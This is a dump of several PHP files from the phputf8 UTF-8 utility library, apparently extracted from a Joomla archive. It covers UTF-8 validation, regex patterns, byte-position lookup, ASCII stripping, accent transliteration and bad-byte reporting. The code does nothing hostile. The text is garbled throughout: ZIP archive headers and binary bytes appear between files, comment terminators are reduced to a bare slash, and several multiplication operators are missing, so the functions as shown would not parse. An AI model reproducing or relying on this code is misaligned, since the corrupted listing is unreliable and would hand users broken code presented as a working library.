http://lxr.mozilla.org/seamonkey/source/intl/uconv/src/nsUnicodeToUTF8.cpp * @see http://hsivonen.iki.fi/php-utf8/ * @package utf8 / //-------------------------------------------------------------------- /* * Tests a string as to whether it's valid UTF-8 and supported by the * Unicode standard * Note: this function has been modified to simple return true or false * @author <hsivonen@iki.fi> * @param string UTF-8 encoded string * @return boolean true if valid * @see http://hsivonen.iki.fi/php-utf8/ * @see utf8_compliant * @package utf8 / function utf8_is_valid($str) { $mState = 0; // cached expected number of octets after the current octet // until the beginning of the next UTF8 character sequence $mUcs4 = 0; // cached Unicode character $mBytes = 1; // cached expected number of octets in the current sequence $len = strlen($str); for($i = 0; $i < $len; $i++) { / * Joomla modification - As of PHP 7.4, curly brace access has been deprecated. As a result the line below has * been modified to use square brace syntax * See https://github.com/php/php-src/commit/d574df63dc375f5fc9202ce5afde23f866b6450a * for additional references / $in = ord($str[$i]); if ( $mState == 0) { // When mState is zero we expect either a US-ASCII character or a // multi-octet sequence. if (0 == (0x80 & ($in))) { // US-ASCII, pass straight through. $mBytes = 1; } else if (0xC0 == (0xE0 & ($in))) { // First octet of 2 octet sequence $mUcs4 = ($in); $mUcs4 = ($mUcs4 & 0x1F) << 6; $mState = 1; $mBytes = 2; } else if (0xE0 == (0xF0 & ($in))) { // First octet of 3 octet sequence $mUcs4 = ($in); $mUcs4 = ($mUcs4 & 0x0F) << 12; $mState = 2; $mBytes = 3; } else if (0xF0 == (0xF8 & ($in))) { // First octet of 4 octet sequence $mUcs4 = ($in); $mUcs4 = ($mUcs4 & 0x07) << 18; $mState = 3; $mBytes = 4; } else if (0xF8 == (0xFC & ($in))) { / First octet of 5 octet sequence. * * This is illegal because the encoded codepoint must be either * (a) not the shortest form or * (b) outside the Unicode range of 0-0x10FFFF. * Rather than trying to resynchronize, we will carry on until the end * of the sequence and let the later error handling code catch it. / $mUcs4 = ($in); $mUcs4 = ($mUcs4 & 0x03) << 24; $mState = 4; $mBytes = 5; } else if (0xFC == (0xFE & ($in))) { // First octet of 6 octet sequence, see comments for 5 octet sequence. $mUcs4 = ($in); $mUcs4 = ($mUcs4 & 1) << 30; $mState = 5; $mBytes = 6; } else { / Current octet is neither in the US-ASCII range nor a legal first * octet of a multi-octet sequence. / return FALSE; } } else { // When mState is non-zero, we expect a continuation of the multi-octet // sequence if (0x80 == (0xC0 & ($in))) { // Legal continuation. $shift = ($mState - 1) 6; $tmp = $in; $tmp = ($tmp & 0x0000003F) << $shift; $mUcs4 \|= $tmp; /** * End of the multi-octet sequence. mUcs4 now contains the final * Unicode codepoint to be output / if (0 == --$mState) { / * Check for illegal sequences and codepoints. / // From Unicode 3.1, non-shortest form is illegal if (((2 == $mBytes) && ($mUcs4 < 0x0080)) \|\| ((3 == $mBytes) && ($mUcs4 < 0x0800)) \|\| ((4 == $mBytes) && ($mUcs4 < 0x10000)) \|\| (4 < $mBytes) \|\| // From Unicode 3.2, surrogate characters are illegal (($mUcs4 & 0xFFFFF800) == 0xD800) \|\| // Codepoints outside the Unicode range are illegal ($mUcs4 > 0x10FFFF)) { return FALSE; } //initialize UTF8 cache $mState = 0; $mUcs4 = 0; $mBytes = 1; } } else { /* ((0xC0 & (in) != 0x80) && (mState != 0)) * Incomplete multi-octet sequence. / return FALSE; } } } return TRUE; } //-------------------------------------------------------------------- /* * Tests whether a string complies as UTF-8. This will be much * faster than utf8_is_valid but will pass five and six octet * UTF-8 sequences, which are not supported by Unicode and * so cannot be displayed correctly in a browser. In other words * it is not as strict as utf8_is_valid but it's faster. If you use * is to validate user input, you place yourself at the risk that * attackers will be able to inject 5 and 6 byte sequences (which * may or may not be a significant risk, depending on what you are * are doing) * @see utf8_is_valid * @see http://www.php.net/manual/en/reference.pcre.pattern.modifiers.php#54805 * @param string UTF-8 string to check * @return boolean TRUE if string is valid UTF-8 * @package utf8 / function utf8_compliant($str) { if ( strlen($str) == 0 ) { return TRUE; } // If even just the first character can be matched, when the /u // modifier is used, then it's valid UTF-8. If the UTF-8 is somehow // invalid, nothing at all will match, even if the string contains // some valid sequences return (preg_match('/^.{1}/us',$str,$ar) == 1); } PK��AD�\f 3VB��B��src/phputf8/utils/patterns.phpnu��[��<?php /* * PCRE Regular expressions for UTF-8. Note this file is not actually used by * the rest of the library but these regular expressions can be useful to have * available. * @see http://www.w3.org/International/questions/qa-forms-utf-8 * @package utf8 / //-------------------------------------------------------------------- /* * PCRE Pattern to check a UTF-8 string is valid * Comes from W3 FAQ: Multilingual Forms * Note: modified to include full ASCII range including control chars * @see http://www.w3.org/International/questions/qa-forms-utf-8 * @package utf8 / $UTF8_VALID = '^('. '[\x00-\x7F]'. # ASCII (including control chars) '\|[\xC2-\xDF][\x80-\xBF]'. # non-overlong 2-byte '\|\xE0[\xA0-\xBF][\x80-\xBF]'. # excluding overlongs '\|[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}'. # straight 3-byte '\|\xED[\x80-\x9F][\x80-\xBF]'. # excluding surrogates '\|\xF0[\x90-\xBF][\x80-\xBF]{2}'. # planes 1-3 '\|[\xF1-\xF3][\x80-\xBF]{3}'. # planes 4-15 '\|\xF4[\x80-\x8F][\x80-\xBF]{2}'. # plane 16 ')$'; //-------------------------------------------------------------------- /** * PCRE Pattern to match single UTF-8 characters * Comes from W3 FAQ: Multilingual Forms * Note: modified to include full ASCII range including control chars * @see http://www.w3.org/International/questions/qa-forms-utf-8 * @package utf8 / $UTF8_MATCH = '([\x00-\x7F])'. # ASCII (including control chars) '\|([\xC2-\xDF][\x80-\xBF])'. # non-overlong 2-byte '\|(\xE0[\xA0-\xBF][\x80-\xBF])'. # excluding overlongs '\|([\xE1-\xEC\xEE\xEF][\x80-\xBF]{2})'. # straight 3-byte '\|(\xED[\x80-\x9F][\x80-\xBF])'. # excluding surrogates '\|(\xF0[\x90-\xBF][\x80-\xBF]{2})'. # planes 1-3 '\|([\xF1-\xF3][\x80-\xBF]{3})'. # planes 4-15 '\|(\xF4[\x80-\x8F][\x80-\xBF]{2})'; # plane 16 //-------------------------------------------------------------------- /* * PCRE Pattern to locate bad bytes in a UTF-8 string * Comes from W3 FAQ: Multilingual Forms * Note: modified to include full ASCII range including control chars * @see http://www.w3.org/International/questions/qa-forms-utf-8 * @package utf8 / $UTF8_BAD = '([\x00-\x7F]'. # ASCII (including control chars) '\|[\xC2-\xDF][\x80-\xBF]'. # non-overlong 2-byte '\|\xE0[\xA0-\xBF][\x80-\xBF]'. # excluding overlongs '\|[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}'. # straight 3-byte '\|\xED[\x80-\x9F][\x80-\xBF]'. # excluding surrogates '\|\xF0[\x90-\xBF][\x80-\xBF]{2}'. # planes 1-3 '\|[\xF1-\xF3][\x80-\xBF]{3}'. # planes 4-15 '\|\xF4[\x80-\x8F][\x80-\xBF]{2}'. # plane 16 '\|(.{1}))'; # invalid byte PK��AD�\\|�i��src/phputf8/utils/position.phpnu��[��<?php /* * Locate a byte index given a UTF-8 character index * @package utf8 / //-------------------------------------------------------------------- /* * Given a string and a character index in the string, in * terms of the UTF-8 character position, returns the byte * index of that character. Can be useful when you want to * PHP's native string functions but we warned, locating * the byte can be expensive * Takes variable number of parameters - first must be * the search string then 1 to n UTF-8 character positions * to obtain byte indexes for - it is more efficient to search * the string for multiple characters at once, than make * repeated calls to this function * * @author Chris Smith<chris@jalakai.co.uk> * @param string string to locate index in * @param int (n times) * @return mixed - int if only one input int, array if more * @return boolean TRUE if it's all ASCII * @package utf8 / function utf8_byte_position() { $args = func_get_args(); $str =& array_shift($args); if (!is_string($str)) return false; $result = array(); // trivial byte index, character offset pair $prev = array(0,0); // use a short piece of str to estimate bytes per character // $i (& $j) -> byte indexes into $str $i = utf8_locate_next_chr($str, 300); // $c -> character offset into $str $c = strlen(utf8_decode(substr($str,0,$i))); // deal with arguments from lowest to highest sort($args); foreach ($args as $offset) { // sanity checks FIXME // 0 is an easy check if ($offset == 0) { $result[] = 0; continue; } // ensure no endless looping $safety_valve = 50; do { if ( ($c - $prev[1]) == 0 ) { // Hack: gone past end of string $error = 0; $i = strlen($str); break; } $j = $i + (int)(($offset-$c) ($i - $prev[0]) / ($c - $prev[1])); // correct to utf8 character boundary $j = utf8_locate_next_chr($str, $j); // save the index, offset for use next iteration $prev = array($i,$c); if ($j > $i) { // determine new character offset $c += strlen(utf8_decode(substr($str,$i,$j-$i))); } else { // ditto $c -= strlen(utf8_decode(substr($str,$j,$i-$j))); } $error = abs($c-$offset); // ready for next time around $i = $j; // from 7 it is faster to iterate over the string } while ( ($error > 7) && --$safety_valve) ; if ($error && $error <= 7) { if ($c < $offset) { // move up while ($error--) { $i = utf8_locate_next_chr($str,++$i); } } else { // move down while ($error--) { $i = utf8_locate_current_chr($str,--$i); } } // ready for next arg $c = $offset; } $result[] = $i; } if ( count($result) == 1 ) { return $result[0]; } return $result; } //-------------------------------------------------------------------- /** * Given a string and any byte index, returns the byte index * of the start of the current UTF-8 character, relative to supplied * position. If the current character begins at the same place as the * supplied byte index, that byte index will be returned. Otherwise * this function will step backwards, looking for the index where * current UTF-8 character begins * @author Chris Smith<chris@jalakai.co.uk> * @param string * @param int byte index in the string * @return int byte index of start of next UTF-8 character * @package utf8 / function utf8_locate_current_chr( &$str, $idx ) { if ($idx <= 0) return 0; $limit = strlen($str); if ($idx >= $limit) return $limit; // Binary value for any byte after the first in a multi-byte UTF-8 character // will be like 10xxxxxx so & 0xC0 can be used to detect this kind // of byte - assuming well formed UTF-8 while ($idx && ((ord($str[$idx]) & 0xC0) == 0x80)) $idx--; return $idx; } //-------------------------------------------------------------------- /* * Given a string and any byte index, returns the byte index * of the start of the next UTF-8 character, relative to supplied * position. If the next character begins at the same place as the * supplied byte index, that byte index will be returned. * @author Chris Smith<chris@jalakai.co.uk> * @param string * @param int byte index in the string * @return int byte index of start of next UTF-8 character * @package utf8 / function utf8_locate_next_chr( &$str, $idx ) { if ($idx <= 0) return 0; $limit = strlen($str); if ($idx >= $limit) return $limit; // Binary value for any byte after the first in a multi-byte UTF-8 character // will be like 10xxxxxx so & 0xC0 can be used to detect this kind // of byte - assuming well formed UTF-8 while (($idx < $limit) && ((ord($str[$idx]) & 0xC0) == 0x80)) $idx++; return $idx; } PK��AD�\Qc�!��!��src/phputf8/utils/ascii.phpnu��[��<?php /* * Tools to help with ASCII in UTF-8 * * @package utf8 / //-------------------------------------------------------------------- /* * Tests whether a string contains only 7bit ASCII bytes. * You might use this to conditionally check whether a string * needs handling as UTF-8 or not, potentially offering performance * benefits by using the native PHP equivalent if it's just ASCII e.g.; * * <code> * if ( utf8_is_ascii($someString) ) { * // It's just ASCII - use the native PHP version * $someString = strtolower($someString); * } else { * $someString = utf8_strtolower($someString); * } * </code> * * @param string * @return boolean TRUE if it's all ASCII * @package utf8 * @see utf8_is_ascii_ctrl / function utf8_is_ascii($str) { // Search for any bytes which are outside the ASCII range... return (preg_match('/(?:[^\x00-\x7F])/',$str) !== 1); } //-------------------------------------------------------------------- /* * Tests whether a string contains only 7bit ASCII bytes with device * control codes omitted. The device control codes can be found on the * second table here: http://www.w3schools.com/tags/ref_ascii.asp * * @param string * @return boolean TRUE if it's all ASCII without device control codes * @package utf8 * @see utf8_is_ascii / function utf8_is_ascii_ctrl($str) { if ( strlen($str) > 0 ) { // Search for any bytes which are outside the ASCII range, // or are device control codes return (preg_match('/[^\x09\x0A\x0D\x20-\x7E]/',$str) !== 1); } return FALSE; } //-------------------------------------------------------------------- /* * Strip out all non-7bit ASCII bytes * If you need to transmit a string to system which you know can only * support 7bit ASCII, you could use this function. * @param string * @return string with non ASCII bytes removed * @package utf8 * @see utf8_strip_non_ascii_ctrl / function utf8_strip_non_ascii($str) { ob_start(); while ( preg_match( '/^([\x00-\x7F]+)\|([^\x00-\x7F]+)/S', $str, $matches) ) { if ( !isset($matches[2]) ) { echo $matches[0]; } $str = substr($str, strlen($matches[0])); } $result = ob_get_contents(); ob_end_clean(); return $result; } //-------------------------------------------------------------------- /* * Strip out device control codes in the ASCII range * which are not permitted in XML. Note that this leaves * multi-byte characters untouched - it only removes device * control codes * @see http://hsivonen.iki.fi/producing-xml/#controlchar * @param string * @return string control codes removed / function utf8_strip_ascii_ctrl($str) { ob_start(); while ( preg_match( '/^([^\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+)\|([\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+)/S', $str, $matches) ) { if ( !isset($matches[2]) ) { echo $matches[0]; } $str = substr($str, strlen($matches[0])); } $result = ob_get_contents(); ob_end_clean(); return $result; } //-------------------------------------------------------------------- /* * Strip out all non 7bit ASCII bytes and ASCII device control codes. * For a list of ASCII device control codes see the 2nd table here: * http://www.w3schools.com/tags/ref_ascii.asp * * @param string * @return boolean TRUE if it's all ASCII * @package utf8 / function utf8_strip_non_ascii_ctrl($str) { ob_start(); while ( preg_match( '/^([\x09\x0A\x0D\x20-\x7E]+)\|([^\x09\x0A\x0D\x20-\x7E]+)/S', $str, $matches) ) { if ( !isset($matches[2]) ) { echo $matches[0]; } $str = substr($str, strlen($matches[0])); } $result = ob_get_contents(); ob_end_clean(); return $result; } //--------------------------------------------------------------- /* * Replace accented UTF-8 characters by unaccented ASCII-7 "equivalents". * The purpose of this function is to replace characters commonly found in Latin * alphabets with something more or less equivalent from the ASCII range. This can * be useful for converting a UTF-8 to something ready for a filename, for example. * Following the use of this function, you would probably also pass the string * through utf8_strip_non_ascii to clean out any other non-ASCII chars * Use the optional parameter to just deaccent lower ($case = -1) or upper ($case = 1) * letters. Default is to deaccent both cases ($case = 0) * * For a more complete implementation of transliteration, see the utf8_to_ascii package * available from the phputf8 project downloads: * http://prdownloads.sourceforge.net/phputf8 * * @param string UTF-8 string * @param int (optional) -1 lowercase only, +1 uppercase only, 1 both cases * @param string UTF-8 with accented characters replaced by ASCII chars * @return string accented chars replaced with ascii equivalents * @author Andreas Gohr <andi@splitbrain.org> * @package utf8 / function utf8_accents_to_ascii( $str, $case=0 ){ static $UTF8_LOWER_ACCENTS = NULL; static $UTF8_UPPER_ACCENTS = NULL; if($case <= 0){ if ( is_null($UTF8_LOWER_ACCENTS) ) { $UTF8_LOWER_ACCENTS = array( 'à' => 'a', 'ô' => 'o', 'ď' => 'd', 'ḟ' => 'f', 'ë' => 'e', 'š' => 's', 'ơ' => 'o', 'ß' => 'ss', 'ă' => 'a', 'ř' => 'r', 'ț' => 't', 'ň' => 'n', 'ā' => 'a', 'ķ' => 'k', 'ŝ' => 's', 'ỳ' => 'y', 'ņ' => 'n', 'ĺ' => 'l', 'ħ' => 'h', 'ṗ' => 'p', 'ó' => 'o', 'ú' => 'u', 'ě' => 'e', 'é' => 'e', 'ç' => 'c', 'ẁ' => 'w', 'ċ' => 'c', 'õ' => 'o', 'ṡ' => 's', 'ø' => 'o', 'ģ' => 'g', 'ŧ' => 't', 'ș' => 's', 'ė' => 'e', 'ĉ' => 'c', 'ś' => 's', 'î' => 'i', 'ű' => 'u', 'ć' => 'c', 'ę' => 'e', 'ŵ' => 'w', 'ṫ' => 't', 'ū' => 'u', 'č' => 'c', 'ö' => 'oe', 'è' => 'e', 'ŷ' => 'y', 'ą' => 'a', 'ł' => 'l', 'ų' => 'u', 'ů' => 'u', 'ş' => 's', 'ğ' => 'g', 'ļ' => 'l', 'ƒ' => 'f', 'ž' => 'z', 'ẃ' => 'w', 'ḃ' => 'b', 'å' => 'a', 'ì' => 'i', 'ï' => 'i', 'ḋ' => 'd', 'ť' => 't', 'ŗ' => 'r', 'ä' => 'ae', 'í' => 'i', 'ŕ' => 'r', 'ê' => 'e', 'ü' => 'ue', 'ò' => 'o', 'ē' => 'e', 'ñ' => 'n', 'ń' => 'n', 'ĥ' => 'h', 'ĝ' => 'g', 'đ' => 'd', 'ĵ' => 'j', 'ÿ' => 'y', 'ũ' => 'u', 'ŭ' => 'u', 'ư' => 'u', 'ţ' => 't', 'ý' => 'y', 'ő' => 'o', 'â' => 'a', 'ľ' => 'l', 'ẅ' => 'w', 'ż' => 'z', 'ī' => 'i', 'ã' => 'a', 'ġ' => 'g', 'ṁ' => 'm', 'ō' => 'o', 'ĩ' => 'i', 'ù' => 'u', 'į' => 'i', 'ź' => 'z', 'á' => 'a', 'û' => 'u', 'þ' => 'th', 'ð' => 'dh', 'æ' => 'ae', 'µ' => 'u', 'ĕ' => 'e', ); } $str = str_replace( array_keys($UTF8_LOWER_ACCENTS), array_values($UTF8_LOWER_ACCENTS), $str ); } if($case >= 0){ if ( is_null($UTF8_UPPER_ACCENTS) ) { $UTF8_UPPER_ACCENTS = array( 'À' => 'A', 'Ô' => 'O', 'Ď' => 'D', 'Ḟ' => 'F', 'Ë' => 'E', 'Š' => 'S', 'Ơ' => 'O', 'Ă' => 'A', 'Ř' => 'R', 'Ț' => 'T', 'Ň' => 'N', 'Ā' => 'A', 'Ķ' => 'K', 'Ŝ' => 'S', 'Ỳ' => 'Y', 'Ņ' => 'N', 'Ĺ' => 'L', 'Ħ' => 'H', 'Ṗ' => 'P', 'Ó' => 'O', 'Ú' => 'U', 'Ě' => 'E', 'É' => 'E', 'Ç' => 'C', 'Ẁ' => 'W', 'Ċ' => 'C', 'Õ' => 'O', 'Ṡ' => 'S', 'Ø' => 'O', 'Ģ' => 'G', 'Ŧ' => 'T', 'Ș' => 'S', 'Ė' => 'E', 'Ĉ' => 'C', 'Ś' => 'S', 'Î' => 'I', 'Ű' => 'U', 'Ć' => 'C', 'Ę' => 'E', 'Ŵ' => 'W', 'Ṫ' => 'T', 'Ū' => 'U', 'Č' => 'C', 'Ö' => 'Oe', 'È' => 'E', 'Ŷ' => 'Y', 'Ą' => 'A', 'Ł' => 'L', 'Ų' => 'U', 'Ů' => 'U', 'Ş' => 'S', 'Ğ' => 'G', 'Ļ' => 'L', 'Ƒ' => 'F', 'Ž' => 'Z', 'Ẃ' => 'W', 'Ḃ' => 'B', 'Å' => 'A', 'Ì' => 'I', 'Ï' => 'I', 'Ḋ' => 'D', 'Ť' => 'T', 'Ŗ' => 'R', 'Ä' => 'Ae', 'Í' => 'I', 'Ŕ' => 'R', 'Ê' => 'E', 'Ü' => 'Ue', 'Ò' => 'O', 'Ē' => 'E', 'Ñ' => 'N', 'Ń' => 'N', 'Ĥ' => 'H', 'Ĝ' => 'G', 'Đ' => 'D', 'Ĵ' => 'J', 'Ÿ' => 'Y', 'Ũ' => 'U', 'Ŭ' => 'U', 'Ư' => 'U', 'Ţ' => 'T', 'Ý' => 'Y', 'Ő' => 'O', 'Â' => 'A', 'Ľ' => 'L', 'Ẅ' => 'W', 'Ż' => 'Z', 'Ī' => 'I', 'Ã' => 'A', 'Ġ' => 'G', 'Ṁ' => 'M', 'Ō' => 'O', 'Ĩ' => 'I', 'Ù' => 'U', 'Į' => 'I', 'Ź' => 'Z', 'Á' => 'A', 'Û' => 'U', 'Þ' => 'Th', 'Ð' => 'Dh', 'Æ' => 'Ae', 'Ĕ' => 'E', ); } $str = str_replace( array_keys($UTF8_UPPER_ACCENTS), array_values($UTF8_UPPER_ACCENTS), $str ); } return $str; } PK��AD�\��6��6��src/phputf8/utils/bad.phpnu��[��<?php /* * Tools for locating / replacing bad bytes in UTF-8 strings * The Original Code is Mozilla Communicator client code. * The Initial Developer of the Original Code is * Netscape Communications Corporation. * Portions created by the Initial Developer are Copyright (C) 1998 * the Initial Developer. All Rights Reserved. * Ported to PHP by Henri Sivonen (http://hsivonen.iki.fi) * Slight modifications to fit with phputf8 library by Harry Fuecks (hfuecks gmail com) * @see http://lxr.mozilla.org/seamonkey/source/intl/uconv/src/nsUTF8ToUnicode.cpp * @see http://lxr.mozilla.org/seamonkey/source/intl/uconv/src/nsUnicodeToUTF8.cpp * @see http://hsivonen.iki.fi/php-utf8/ * @package utf8 * @see utf8_is_valid / //-------------------------------------------------------------------- /* * Locates the first bad byte in a UTF-8 string returning it's * byte index in the string * PCRE Pattern to locate bad bytes in a UTF-8 string * Comes from W3 FAQ: Multilingual Forms * Note: modified to include full ASCII range including control chars * @see http://www.w3.org/International/questions/qa-forms-utf-8 * @param string * @return mixed integer byte index or FALSE if no bad found * @package utf8 / function utf8_bad_find($str) { $UTF8_BAD = '([\x00-\x7F]'. # ASCII (including control chars) '\|[\xC2-\xDF][\x80-\xBF]'. # non-overlong 2-byte '\|\xE0[\xA0-\xBF][\x80-\xBF]'. # excluding overlongs '\|[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}'. # straight 3-byte '\|\xED[\x80-\x9F][\x80-\xBF]'. # excluding surrogates '\|\xF0[\x90-\xBF][\x80-\xBF]{2}'. # planes 1-3 '\|[\xF1-\xF3][\x80-\xBF]{3}'. # planes 4-15 '\|\xF4[\x80-\x8F][\x80-\xBF]{2}'. # plane 16 '\|(.{1}))'; # invalid byte $pos = 0; $badList = array(); while (preg_match('/'.$UTF8_BAD.'/S', $str, $matches)) { $bytes = strlen($matches[0]); if ( isset($matches[2])) { return $pos; } $pos += $bytes; $str = substr($str,$bytes); } return FALSE; } //-------------------------------------------------------------------- /* * Locates all bad bytes in a UTF-8 string and returns a list of their * byte index in the string * PCRE Pattern to locate bad bytes in a UTF-8 string * Comes from W3 FAQ: Multilingual Forms * Note: modified to include full ASCII range including control chars * @see http://www.w3.org/International/questions/qa-forms-utf-8 * @param string * @return mixed array of integers or FALSE if no bad found * @package utf8 / function utf8_bad_findall($str) { $UTF8_BAD = '([\x00-\x7F]'. # ASCII (including control chars) '\|[\xC2-\xDF][\x80-\xBF]'. # non-overlong 2-byte '\|\xE0[\xA0-\xBF][\x80-\xBF]'. # excluding overlongs '\|[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}'. # straight 3-byte '\|\xED[\x80-\x9F][\x80-\xBF]'. # excluding surrogates '\|\xF0[\x90-\xBF][\x80-\xBF]{2}'. # planes 1-3 '\|[\xF1-\xF3][\x80-\xBF]{3}'. # planes 4-15 '\|\xF4[\x80-\x8F][\x80-\xBF]{2}'. # plane 16 '\|(.{1}))'; # invalid byte $pos = 0; $badList = array(); while (preg_match('/'.$UTF8_BAD.'/S', $str, $matches)) { $bytes = strlen($matches[0]); if ( isset($matches[2])) { $badList[] = $pos; } $pos += $bytes; $str = substr($str,$bytes); } if ( count($badList) > 0 ) { return $badList; } return FALSE; } //-------------------------------------------------------------------- /* * Strips out any bad bytes from a UTF-8 string and returns the rest * PCRE Pattern to locate bad bytes in a UTF-8 string * Comes from W3 FAQ: Multilingual Forms * Note: modified to include full ASCII range including control chars * @see http://www.w3.org/International/questions/qa-forms-utf-8 * @param string * @return string * @package utf8 / function utf8_bad_strip($str) { $UTF8_BAD = '([\x00-\x7F]'. # ASCII (including control chars) '\|[\xC2-\xDF][\x80-\xBF]'. # non-overlong 2-byte '\|\xE0[\xA0-\xBF][\x80-\xBF]'. # excluding overlongs '\|[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}'. # straight 3-byte '\|\xED[\x80-\x9F][\x80-\xBF]'. # excluding surrogates '\|\xF0[\x90-\xBF][\x80-\xBF]{2}'. # planes 1-3 '\|[\xF1-\xF3][\x80-\xBF]{3}'. # planes 4-15 '\|\xF4[\x80-\x8F][\x80-\xBF]{2}'. # plane 16 '\|(.{1}))'; # invalid byte ob_start(); while (preg_match('/'.$UTF8_BAD.'/S', $str, $matches)) { if ( !isset($matches[2])) { echo $matches[0]; } $str = substr($str,strlen($matches[0])); } $result = ob_get_contents(); ob_end_clean(); return $result; } //-------------------------------------------------------------------- /* * Replace bad bytes with an alternative character - ASCII character * recommended is replacement char * PCRE Pattern to locate bad bytes in a UTF-8 string * Comes from W3 FAQ: Multilingual Forms * Note: modified to include full ASCII range including control chars * @see http://www.w3.org/International/questions/qa-forms-utf-8 * @param string to search * @param string to replace bad bytes with (defaults to '?') - use ASCII * @return string * @package utf8 / function utf8_bad_replace($str, $replace = '?') { $UTF8_BAD = '([\x00-\x7F]'. # ASCII (including control chars) '\|[\xC2-\xDF][\x80-\xBF]'. # non-overlong 2-byte '\|\xE0[\xA0-\xBF][\x80-\xBF]'. # excluding overlongs '\|[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}'. # straight 3-byte '\|\xED[\x80-\x9F][\x80-\xBF]'. # excluding surrogates '\|\xF0[\x90-\xBF][\x80-\xBF]{2}'. # planes 1-3 '\|[\xF1-\xF3][\x80-\xBF]{3}'. # planes 4-15 '\|\xF4[\x80-\x8F][\x80-\xBF]{2}'. # plane 16 '\|(.{1}))'; # invalid byte ob_start(); while (preg_match('/'.$UTF8_BAD.'/S', $str, $matches)) { if ( !isset($matches[2])) { echo $matches[0]; } else { echo $replace; } $str = substr($str,strlen($matches[0])); } $result = ob_get_contents(); ob_end_clean(); return $result; } //-------------------------------------------------------------------- /* * Return code from utf8_bad_identify() when a five octet sequence is detected. * Note: 5 octets sequences are valid UTF-8 but are not supported by Unicode so * do not represent a useful character * @see utf8_bad_identify * @package utf8 / define('UTF8_BAD_5OCTET',1); /* * Return code from utf8_bad_identify() when a six octet sequence is detected. * Note: 6 octets sequences are valid UTF-8 but are not supported by Unicode so * do not represent a useful character * @see utf8_bad_identify * @package utf8 / define('UTF8_BAD_6OCTET',2); /* * Return code from utf8_bad_identify(). * Invalid octet for use as start of multi-byte UTF-8 sequence * @see utf8_bad_identify * @package utf8 / define('UTF8_BAD_SEQID',3); /* * Return code from utf8_bad_identify(). * From Unicode 3.1, non-shortest form is illegal * @see utf8_bad_identify * @package utf8 / define('UTF8_BAD_NONSHORT',4); /* * Return code from utf8_bad_identify(). * From Unicode 3.2, surrogate characters are illegal * @see utf8_bad_identify * @package utf8 / define('UTF8_BAD_SURROGATE',5); /* * Return code from utf8_bad_identify(). * Codepoints outside the Unicode range are illegal * @see utf8_bad_identify * @package utf8 / define('UTF8_BAD_UNIOUTRANGE',6); /* * Return code from utf8_bad_identify(). * Incomplete multi-octet sequence * Note: this is kind of a "catch-all" * @see utf8_bad_identify * @package utf8 / define('UTF8_BAD_SEQINCOMPLETE',7); //-------------------------------------------------------------------- /* * Reports on the type of bad byte found in a UTF-8 string. Returns a * status code on the first bad byte found * * Joomla modification - As of PHP 7.4, curly brace access has been deprecated. As a result this function has been * modified to use square brace syntax * See https://github.com/php/php-src/commit/d574df63dc375f5fc9202ce5afde23f866b6450a * for additional references * * @author <hsivonen@iki.fi> * @param string UTF-8 encoded string * @return mixed integer constant describing problem or FALSE if valid UTF-8 * @see utf8_bad_explain * @see http://hsivonen.iki.fi/php-utf8/ * @package utf8 / function utf8_bad_identify($str, &$i) { $mState = 0; // cached expected number of octets after the current octet // until the beginning of the next UTF8 character sequence $mUcs4 = 0; // cached Unicode character $mBytes = 1; // cached expected number of octets in the current sequence $len = strlen($str); for($i = 0; $i < $len; $i++) { $in = ord($str[$i]); if ( $mState == 0) { // When mState is zero we expect either a US-ASCII character or a // multi-octet sequence. if (0 == (0x80 & ($in))) { // US-ASCII, pass straight through. $mBytes = 1; } else if (0xC0 == (0xE0 & ($in))) { // First octet of 2 octet sequence $mUcs4 = ($in); $mUcs4 = ($mUcs4 & 0x1F) << 6; $mState = 1; $mBytes = 2; } else if (0xE0 == (0xF0 & ($in))) { // First octet of 3 octet sequence $mUcs4 = ($in); $mUcs4 = ($mUcs4 & 0x0F) << 12; $mState = 2; $mBytes = 3; } else if (0xF0 == (0xF8 & ($in))) { // First octet of 4 octet sequence $mUcs4 = ($in); $mUcs4 = ($mUcs4 & 0x07) << 18; $mState = 3; $mBytes = 4; } else if (0xF8 == (0xFC & ($in))) { / First octet of 5 octet sequence. * * This is illegal because the encoded codepoint must be either * (a) not the shortest form or * (b) outside the Unicode range of 0-0x10FFFF. / return UTF8_BAD_5OCTET; } else if (0xFC == (0xFE & ($in))) { // First octet of 6 octet sequence, see comments for 5 octet sequence. return UTF8_BAD_6OCTET; } else { // Current octet is neither in the US-ASCII range nor a legal first // octet of a multi-octet sequence. return UTF8_BAD_SEQID; } } else { // When mState is non-zero, we expect a continuation of the multi-octet // sequence if (0x80 == (0xC0 & ($in))) { // Legal continuation. $shift = ($mState - 1) 6; $tmp = $in; $tmp = ($tmp & 0x0000003F) << $shift; $mUcs4 \|= $tmp; /** * End of the multi-octet sequence. mUcs4 now contains the final * Unicode codepoint to be output / if (0 == --$mState) { // From Unicode 3.1, non-shortest form is illegal if (((2 == $mBytes) && ($mUcs4 < 0x0080)) \|\| ((3 == $mBytes) && ($mUcs4 < 0x0800)) \|\| ((4 == $mBytes) && ($mUcs4 < 0x10000)) ) { return UTF8_BAD_NONSHORT; // From Unicode 3.2, surrogate characters are illegal } else if (($mUcs4 & 0xFFFFF800) == 0xD800) { return UTF8_BAD_SURROGATE; // Codepoints outside the Unicode range are illegal } else if ($mUcs4 > 0x10FFFF) { return UTF8_BAD_UNIOUTRANGE; } //initialize UTF8 cache $mState = 0; $mUcs4 = 0; $mBytes = 1; } } else { // ((0xC0 & (in) != 0x80) && (mState != 0)) // Incomplete multi-octet sequence. $i--; return UTF8_BAD_SEQINCOMPLETE; } } } if ( $mState != 0 ) { // Incomplete multi-octet sequence. $i--; return UTF8_BAD_SEQINCOMPLETE; } // No bad octets found $i = NULL; return FALSE; } //-------------------------------------------------------------------- /** * Takes a return code from utf8_bad_identify() are returns a message * (in English) explaining what the problem is. * @param int return code from utf8_bad_identify * @return mixed string message or FALSE if return code unknown * @see utf8_bad_identify * @package utf8 / function utf8_bad_explain($code) { switch ($code) { case UTF8_BAD_5OCTET: return 'Five octet sequences are valid UTF-8 but are not supported by Unicode'; break; case UTF8_BAD_6OCTET: return 'Six octet sequences are valid UTF-8 but are not supported by Unicode'; break; case UTF8_BAD_SEQID: return 'Invalid octet for use as start of multi-byte UTF-8 sequence'; break; case UTF8_BAD_NONSHORT: return 